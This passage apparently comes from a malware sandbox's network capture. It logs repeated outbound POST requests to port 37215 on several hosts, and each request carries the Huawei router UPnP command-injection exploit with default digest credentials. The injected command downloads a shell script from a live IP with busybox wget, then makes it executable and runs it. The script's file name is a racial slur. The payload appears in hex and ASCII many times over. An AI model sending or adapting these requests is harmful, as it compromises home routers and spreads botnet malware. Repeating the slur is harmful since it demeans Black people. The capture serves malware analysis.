xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.328501940 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.136308908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816093922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.15	60034	156.247.16.223	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:59.788811922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:01.344399929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.200395107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.136312008 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.560188055 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.15	46088	156.247.23.82	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:59.789213896 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh 